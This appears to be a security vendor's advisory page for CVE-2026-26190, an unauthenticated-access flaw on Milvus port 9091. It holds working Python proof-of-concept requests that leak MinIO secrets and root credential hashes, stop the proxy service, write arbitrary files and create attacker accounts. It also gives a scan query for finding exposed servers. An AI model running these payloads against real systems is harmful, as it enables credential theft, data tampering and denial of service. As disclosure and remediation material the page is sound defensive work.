CVE-2026-26190 is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in github.com/milvus-io/milvus. EPSS puts its 30-day exploitation probability at 36.9% (98th percentile). A fix is available for github.com/milvus-io/milvus — see the affected versions and patch details below.
Milvus Allows Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26190.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-26190 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/milvus-io/milvus🐹github.com/milvus-io/milvusReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
- The
/exprdebug endpoint uses a weak, predictable default authentication token derived frometcd.rootPath(default:by-dev), enabling arbitrary expression evaluation. - The full REST API (
/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
Details
Vulnerability 1: Weak Default Authentication on /expr Endpoint
The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
- Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via
param.MinioCfg.SecretAccessKey.GetValue(),rootcoord.meta.GetCredential(ctx, 'root'), etc. - Denial of Service: Invoking
proxy.Stop()to shut down the proxy service. - Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.
Vulnerability 2: Unauthenticated REST API on Metrics Port
Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
- Creating, listing, and deleting collections
- Inserting and querying data
- Creating, listing, and deleting user credentials
- Modifying user passwords
Proof of Concept
PoC 1 — /expr Endpoint Exploitation
import requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
PoC 2 — Unauthenticated REST API Access
import requests
target_url = "http://<target>:9091"
# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
"username": "attacker_user",
"password": "MTIzNDU2Nzg5",
})
print(res.json())
# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}
# Create and delete collections, insert data — all without authentication
Internet Exposure
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
Impact
An unauthenticated remote attacker with network access to port 9091 can:
- Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
- Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
- Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
- Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
- Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.
Remediation
Recommended Fixes
- Remove or disable the
/exprendpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. - Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
- Bind port 9091 to localhost by default (
127.0.0.1:9091) so it is not externally accessible unless explicitly configured. - Enforce authentication on all API endpoints, regardless of which port they are served on.
User Mitigations (until patched)
- Block external access to port 9091 using firewall rules or network policies.
- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
- Change the
etcd.rootPathfrom the default valueby-devto a strong, random value (partial mitigation only — does not address the unauthenticated REST API).
Credit
This vulnerability was discovered and responsibly reported by YingLin Xie ([email protected]). It was independently reported by 0x1f and zznQ (ac0d3r).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/milvus-io/milvus | all versions | 2.5.27go get github.com/milvus-io/milvus@v2.5.27 |
| 🐹Go | github.com/milvus-io/milvus | ≥ 2.6.0&&< 2.6.10 | 2.6.10go get github.com/milvus-io/milvus@v2.6.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/milvus-io/milvus, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/milvus-io/milvus to 2.5.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26190 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26190 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-26190. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2026-26190
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-26190 -u https://target- Template
- Milvus - Unauthenticated Metrics API Access
- Severity
- critical
- Impact
- Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.
- Remediation
- Update to versions 2.5.27 or 2.6.10 or later.
Template by ProjectDiscovery nuclei-templates (WRG-11), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-26190 in your dependencies?
O3 Security finds CVE-2026-26190 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.